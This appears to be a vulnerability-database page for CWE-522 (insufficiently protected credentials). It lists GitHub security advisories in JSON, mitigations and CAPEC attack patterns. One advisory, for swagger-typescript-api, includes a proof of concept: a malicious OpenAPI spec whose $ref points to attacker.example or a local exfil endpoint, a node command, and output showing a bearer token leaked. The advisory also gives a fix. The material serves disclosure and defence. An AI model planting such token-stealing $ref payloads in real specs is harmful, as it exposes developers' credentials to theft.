CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1941 vulnerabilities reference this CWE, most recent first.
GHSA-H6W8-27PH-C385
Vulnerability from github – Published: 2025-02-21 22:15 – Updated: 2025-02-21 22:15Due to improper cache control an attacker can view sensitive information even if they are not logged into the account anymore.
Additional Information:
1.The issue was identified during routine security testing.
2.This vulnerability poses a significant risk to user privacy and data security.
3.Urgent action is recommended to mitigate this vulnerability and protect user data from unauthorized access.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "leantime/leantime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-21T22:15:19Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Due to improper cache control an attacker can view sensitive information even if they are not logged into the account anymore.\n\nAdditional Information:\n\n 1.The issue was identified during routine security testing.\n 2.This vulnerability poses a significant risk to user privacy and data security.\n 3.Urgent action is recommended to mitigate this vulnerability and protect user data from unauthorized access.",
"id": "GHSA-h6w8-27ph-c385",
"modified": "2025-02-21T22:15:19Z",
"published": "2025-02-21T22:15:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/security/advisories/GHSA-h6w8-27ph-c385"
},
{
"type": "PACKAGE",
"url": "https://github.com/Leantime/leantime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": " Leantime has Insufficiently Protected Credentials"
}
GHSA-H6X7-JQ46-FP33
Vulnerability from github – Published: 2022-01-13 00:00 – Updated: 2023-10-27 16:22Jenkins HashiCorp Vault Plugin 3.7.0 and earlier does not mask Vault credentials in Pipeline build logs or in Pipeline step descriptions when Pipeline: Groovy Plugin 2.85 or later is installed.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.datapipe.jenkins.plugins:hashicorp-vault-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-23109"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-29T21:17:59Z",
"nvd_published_at": "2022-01-12T20:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins HashiCorp Vault Plugin 3.7.0 and earlier does not mask Vault credentials in Pipeline build logs or in Pipeline step descriptions when Pipeline: Groovy Plugin 2.85 or later is installed.",
"id": "GHSA-h6x7-jq46-fp33",
"modified": "2023-10-27T16:22:15Z",
"published": "2022-01-13T00:00:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23109"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/hashicorp-vault-plugin/commit/c7ad9779320bd8640d83790a985ebab240249b13"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/hashicorp-vault-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-01-12/#SECURITY-2213"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/01/12/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper credentials masking in Jenkins HashiCorp Vault Plugin"
}
GHSA-H754-FXP7-88WX
Vulnerability from github – Published: 2026-07-29 14:22 – Updated: 2026-07-29 14:22Summary
When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.
The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.
Details
The header-builder lives in src/resolved-swagger-schema.ts:81-92:
private getRemoteRequestHeaders(): Record<string, string> {
return Object.assign(
{},
this.config.authorizationToken
? {
Authorization: this.config.authorizationToken,
}
: {},
(this.config.requestOptions?.headers as
| Record<string, string>
| undefined) || {},
);
}
There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional.
getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});
…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.
Net effect: a spec whose response schema is
{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }
causes the generator to send
GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>
to attacker.example, regardless of where the original spec was hosted.
The --authorizationToken flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the intended configuration for any non-public spec.
PoC
Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):
{
"openapi": "3.0.0",
"info": { "title": "TokenLeak-payload", "version": "1.0.0" },
"paths": {
"/p": {
"get": {
"operationId": "p",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
}
}
}
}
}
}
}
}
}
Steps:
# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with --authorizationToken set.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
output: '/tmp/out',
url: 'http://127.0.0.1:<spec-port>/spec.json',
authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
httpClientType: 'fetch'
}))"
Observed:
[control] (no cross-origin $ref) → attacker-server hits: 0
[payload] ($ref → http://attacker)
attacker-server hits: 1
hit: /EXFIL_ENDPOINT/data.json Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123
TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim
The attacker-controlled endpoint received the developer's full Bearer ... token verbatim, sent by the generator while resolving the spec's $ref.
Impact
Type: Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.
Affected use cases:
- A developer fetching a private OpenAPI spec behind authentication (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of
--authorizationToken. - A CI/CD pipeline regenerating clients from a private spec on every build — the CI's authentication token (often a long-lived service-account credential) leaks on every run.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs — a tenant's malicious spec captures the SaaS provider's API key.
- Any project where a contributor can modify the pinned spec via PR — the project's CI credentials leak on first build of the malicious PR.
Lifecycle: generation-time. The token leak happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.
Privilege of stolen token: typically the developer's API authentication for the target service — a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft — the attacker gains the same scope of access the developer had.
Suggested fix:
The minimum sufficient fix is a same-origin check on the Authorization header forwarding:
// in src/resolved-swagger-schema.ts:81-92
private getRemoteRequestHeaders(targetUrl?: string): Record<string, string> {
const headers: Record<string, string> = {};
// Only attach Authorization if the target URL shares an origin with the
// user-supplied spec URL. Otherwise the token is leaked across origins.
if (
this.config.authorizationToken &&
targetUrl &&
this.isSameOrigin(targetUrl, this.config.url)
) {
headers.Authorization = this.config.authorizationToken;
}
return Object.assign(
headers,
(this.config.requestOptions?.headers as Record<string, string> | undefined) || {},
);
}
private isSameOrigin(a: string, b: string | undefined): boolean {
if (typeof b !== "string") return false;
try {
const ua = new URL(a);
const ub = new URL(b);
return ua.protocol === ub.protocol && ua.host === ub.host;
} catch {
return false;
}
}
Then update the call site fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374) to pass the destination URL:
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(url),
});
This is the same model browsers apply to credentialed fetch requests by default. It does not break legitimate same-server $refs — those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.
For deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54660"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201",
"CWE-522",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:22:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWhen the developer supplies an `--authorizationToken` (commonly required to fetch a private spec behind authentication), `swagger-typescript-api` attaches that token to the `Authorization` header of **every** subsequent HTTP request it makes while resolving external `$ref` URLs in the spec \u2014 with **no same-origin check, no host allowlist, and no scope-down** for cross-origin requests. A malicious OpenAPI spec containing a `$ref` to an attacker-controlled URL therefore causes the developer\u0027s bearer token to be sent verbatim to that URL during code generation.\n\nThe threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.\n\n### Details\n\nThe header-builder lives in `src/resolved-swagger-schema.ts:81-92`:\n\n```ts\nprivate getRemoteRequestHeaders(): Record\u003cstring, string\u003e {\n return Object.assign(\n {},\n this.config.authorizationToken\n ? {\n Authorization: this.config.authorizationToken,\n }\n : {},\n (this.config.requestOptions?.headers as\n | Record\u003cstring, string\u003e\n | undefined) || {},\n );\n}\n```\n\nThere is no check that the request\u0027s destination URL shares an origin (or scheme, or host, or even top-level domain) with `this.config.url` \u2014 the URL the user originally specified. The headers object is unconditional.\n\n`getRemoteRequestHeaders` is called by `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`):\n\n```ts\nconst response = await fetch(url, {\n headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026which is in turn called by `warmUpRemoteSchemasCache` (`src/resolved-swagger-schema.ts:399-445`) for every external `$ref` URL discovered while walking the spec.\n\nNet effect: a spec whose response schema is\n\n```json\n{ \"$ref\": \"http://attacker.example/exfil-endpoint/data.json\" }\n```\n\ncauses the generator to send\n\n```\nGET /exfil-endpoint/data.json HTTP/1.1\nHost: attacker.example\nAuthorization: \u003cfull value of --authorizationToken\u003e\n```\n\nto `attacker.example`, regardless of where the original spec was hosted.\n\nThe `--authorizationToken` flag is the standard mechanism for consuming a spec behind auth \u2014 for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting `--authorizationToken` is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be the attacker\u0027s exfil endpoint \u2014 run the generator with `authorizationToken` set, observe what the attacker endpoint received). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"TokenLeak-payload\", \"version\": \"1.0.0\" },\n \"paths\": {\n \"/p\": {\n \"get\": {\n \"operationId\": \"p\",\n \"responses\": {\n \"200\": {\n \"description\": \"OK\",\n \"content\": {\n \"application/json\": {\n \"schema\": {\n \"$ref\": \"http://127.0.0.1:\u003cattacker-port\u003e/EXFIL_ENDPOINT/data.json\"\n }\n }\n }\n }\n }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"attacker\" HTTP server on a different port from the spec server.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Run the generator with --authorizationToken set.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n output: \u0027/tmp/out\u0027,\n url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n authorizationToken: \u0027Bearer USER_GITHUB_PAT_super_secret_xyz123\u0027,\n httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed:**\n\n```\n[control] (no cross-origin $ref) \u2192 attacker-server hits: 0\n[payload] ($ref \u2192 http://attacker)\n attacker-server hits: 1\n hit: /EXFIL_ENDPOINT/data.json Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123\n TOKEN LEAKED \u2014 attacker server received user-supplied authorizationToken verbatim\n```\n\nThe attacker-controlled endpoint received the developer\u0027s full `Bearer ...` token verbatim, sent by the generator while resolving the spec\u0027s `$ref`.\n\n### Impact\n\n**Type:** Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.\n\n**Affected use cases:**\n\n- **A developer fetching a private OpenAPI spec behind authentication** (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of `--authorizationToken`.\n- **A CI/CD pipeline regenerating clients from a private spec on every build** \u2014 the CI\u0027s authentication token (often a long-lived service-account credential) leaks on every run.\n- **A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs** \u2014 a tenant\u0027s malicious spec captures the SaaS provider\u0027s API key.\n- **Any project where a contributor can modify the pinned spec via PR** \u2014 the project\u0027s CI credentials leak on first build of the malicious PR.\n\n**Lifecycle:** generation-time. The token leak happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Privilege of stolen token:** typically the developer\u0027s API authentication for the target service \u2014 a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft \u2014 the attacker gains the same scope of access the developer had.\n\n**Suggested fix:**\n\nThe minimum sufficient fix is a same-origin check on the `Authorization` header forwarding:\n\n```ts\n// in src/resolved-swagger-schema.ts:81-92\nprivate getRemoteRequestHeaders(targetUrl?: string): Record\u003cstring, string\u003e {\n const headers: Record\u003cstring, string\u003e = {};\n\n // Only attach Authorization if the target URL shares an origin with the\n // user-supplied spec URL. Otherwise the token is leaked across origins.\n if (\n this.config.authorizationToken \u0026\u0026\n targetUrl \u0026\u0026\n this.isSameOrigin(targetUrl, this.config.url)\n ) {\n headers.Authorization = this.config.authorizationToken;\n }\n\n return Object.assign(\n headers,\n (this.config.requestOptions?.headers as Record\u003cstring, string\u003e | undefined) || {},\n );\n}\n\nprivate isSameOrigin(a: string, b: string | undefined): boolean {\n if (typeof b !== \"string\") return false;\n try {\n const ua = new URL(a);\n const ub = new URL(b);\n return ua.protocol === ub.protocol \u0026\u0026 ua.host === ub.host;\n } catch {\n return false;\n }\n}\n```\n\nThen update the call site `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`) to pass the destination URL:\n\n```ts\nconst response = await fetch(url, {\n headers: this.getRemoteRequestHeaders(url),\n});\n```\n\nThis is the same model browsers apply to credentialed `fetch` requests by default. It does not break legitimate same-server `$ref`s \u2014 those still authenticate normally. It only strips the token when the target\u0027s origin differs from the spec source\u0027s origin.\n\nFor deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-h754-fxp7-88wx",
"modified": "2026-07-29T14:22:46Z",
"published": "2026-07-29T14:22:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-h754-fxp7-88wx"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`"
}
GHSA-H756-WCV2-R9G9
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36A vulnerability in the AutoVNF tool for the Cisco Ultra Services Framework could allow an unauthenticated, remote attacker to access administrative credentials for Cisco Elastic Services Controller (ESC) and Cisco OpenStack deployments in an affected system. The vulnerability exists because the affected software logs administrative credentials in clear text for Cisco ESC and Cisco OpenStack deployment purposes. An attacker could exploit this vulnerability by accessing the AutoVNF URL for the location where the log files are stored and subsequently accessing the administrative credentials that are stored in clear text in those log files. This vulnerability affects all releases of the Cisco Ultra Services Framework prior to Releases 5.0.3 and 5.1. Cisco Bug IDs: CSCvc76659.
{
"affected": [],
"aliases": [
"CVE-2017-6709"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522",
"CWE-532"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-06T00:29:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in the AutoVNF tool for the Cisco Ultra Services Framework could allow an unauthenticated, remote attacker to access administrative credentials for Cisco Elastic Services Controller (ESC) and Cisco OpenStack deployments in an affected system. The vulnerability exists because the affected software logs administrative credentials in clear text for Cisco ESC and Cisco OpenStack deployment purposes. An attacker could exploit this vulnerability by accessing the AutoVNF URL for the location where the log files are stored and subsequently accessing the administrative credentials that are stored in clear text in those log files. This vulnerability affects all releases of the Cisco Ultra Services Framework prior to Releases 5.0.3 and 5.1. Cisco Bug IDs: CSCvc76659.",
"id": "GHSA-h756-wcv2-r9g9",
"modified": "2022-05-13T01:36:31Z",
"published": "2022-05-13T01:36:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6709"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170705-usf2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H75H-W5QG-CX2H
Vulnerability from github – Published: 2022-08-17 00:00 – Updated: 2022-08-18 00:00A flaw was found where the Plaintext Candlepin password is disclosed while updating Red Hat Satellite through the satellite-installer. This flaw allows an attacker with sufficiently high privileges, such as root, to retrieve the Candlepin plaintext password.
{
"affected": [],
"aliases": [
"CVE-2020-10710"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-16T21:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found where the Plaintext Candlepin password is disclosed while updating Red Hat Satellite through the satellite-installer. This flaw allows an attacker with sufficiently high privileges, such as root, to retrieve the Candlepin plaintext password.",
"id": "GHSA-h75h-w5qg-cx2h",
"modified": "2022-08-18T00:00:17Z",
"published": "2022-08-17T00:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10710"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1816747"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H7Q5-JGGM-P2VJ
Vulnerability from github – Published: 2022-05-24 21:59 – Updated: 2022-05-24 21:59Information exposure through process environment vulnerability in Synology Calendar before 2.3.3-0620 allows local users to obtain credentials via cmdline.
{
"affected": [],
"aliases": [
"CVE-2019-11820"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-09T06:29:00Z",
"severity": "HIGH"
},
"details": "Information exposure through process environment vulnerability in Synology Calendar before 2.3.3-0620 allows local users to obtain credentials via cmdline.",
"id": "GHSA-h7q5-jggm-p2vj",
"modified": "2022-05-24T21:59:47Z",
"published": "2022-05-24T21:59:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11820"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_19_21"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H7VF-8Q5X-GVC3
Vulnerability from github – Published: 2026-01-26 21:30 – Updated: 2026-03-12 00:31Password Confirmation Bypass vulnerability in Omada Controllers, allowing an attacker with a valid session token to bypass secondary verification, and change the user’s password without proper confirmation, leading to weakened account security.
{
"affected": [],
"aliases": [
"CVE-2025-9521"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-26T20:16:08Z",
"severity": "LOW"
},
"details": "Password Confirmation Bypass vulnerability in Omada Controllers, allowing an attacker with a valid session token to bypass secondary verification,\u00a0and change the user\u2019s password without proper confirmation, leading to weakened account security.",
"id": "GHSA-h7vf-8q5x-gvc3",
"modified": "2026-03-12T00:31:15Z",
"published": "2026-01-26T21:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9521"
},
{
"type": "WEB",
"url": "https://support.omadanetworks.com/us/document/115200"
},
{
"type": "WEB",
"url": "https://support.omadanetworks.com/us/download/software/omada-controller"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H89G-92W5-6R7Q
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48Battelle V2I Hub 2.5.1 could allow a remote attacker to obtain sensitive information, caused by the failure to restrict access to the API key file. An attacker could exploit this vulnerability to obtain the current API key to gain unauthorized access to the system.
{
"affected": [],
"aliases": [
"CVE-2018-1000627"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-28T16:29:00Z",
"severity": "CRITICAL"
},
"details": "Battelle V2I Hub 2.5.1 could allow a remote attacker to obtain sensitive information, caused by the failure to restrict access to the API key file. An attacker could exploit this vulnerability to obtain the current API key to gain unauthorized access to the system.",
"id": "GHSA-h89g-92w5-6r7q",
"modified": "2022-05-13T01:48:39Z",
"published": "2022-05-13T01:48:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000627"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/147304"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H8H3-F8X2-6GGH
Vulnerability from github – Published: 2023-12-25 06:30 – Updated: 2024-01-03 21:30In Network Element Manager in NOKIA NFM-T R19.9, an Unprotected Storage of Credentials vulnerability occurs under /root/RestUploadManager.xml.DRC and /DEPOT/KECustom_199/OTNE_DRC/RestUploadManager.xml. A remote user, authenticated to the operating system, with access privileges to the directory /root or /DEPOT, is able to read cleartext credentials to access the web portal NFM-T and control all the PPS Network elements.
{
"affected": [],
"aliases": [
"CVE-2022-39820"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-25T06:15:08Z",
"severity": "MODERATE"
},
"details": "In Network Element Manager in NOKIA NFM-T R19.9, an Unprotected Storage of Credentials vulnerability occurs under /root/RestUploadManager.xml.DRC and /DEPOT/KECustom_199/OTNE_DRC/RestUploadManager.xml. A remote user, authenticated to the operating system, with access privileges to the directory /root or /DEPOT, is able to read cleartext credentials to access the web portal NFM-T and control all the PPS Network elements.",
"id": "GHSA-h8h3-f8x2-6ggh",
"modified": "2024-01-03T21:30:30Z",
"published": "2023-12-25T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39820"
},
{
"type": "WEB",
"url": "https://www.gruppotim.it/it/footer/red-team.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H8MC-PMW5-VP98
Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43IBM WebSphere MQ 9.0.1 and 9.0.2 Java/JMS application can incorrectly transmit user credentials in plain text. IBM X-Force ID: 126245.
{
"affected": [],
"aliases": [
"CVE-2017-1337"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-10T16:29:00Z",
"severity": "HIGH"
},
"details": "IBM WebSphere MQ 9.0.1 and 9.0.2 Java/JMS application can incorrectly transmit user credentials in plain text. IBM X-Force ID: 126245.",
"id": "GHSA-h8mc-pmw5-vp98",
"modified": "2022-05-13T01:43:10Z",
"published": "2022-05-13T01:43:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1337"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/126245"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg22003853"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99493"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
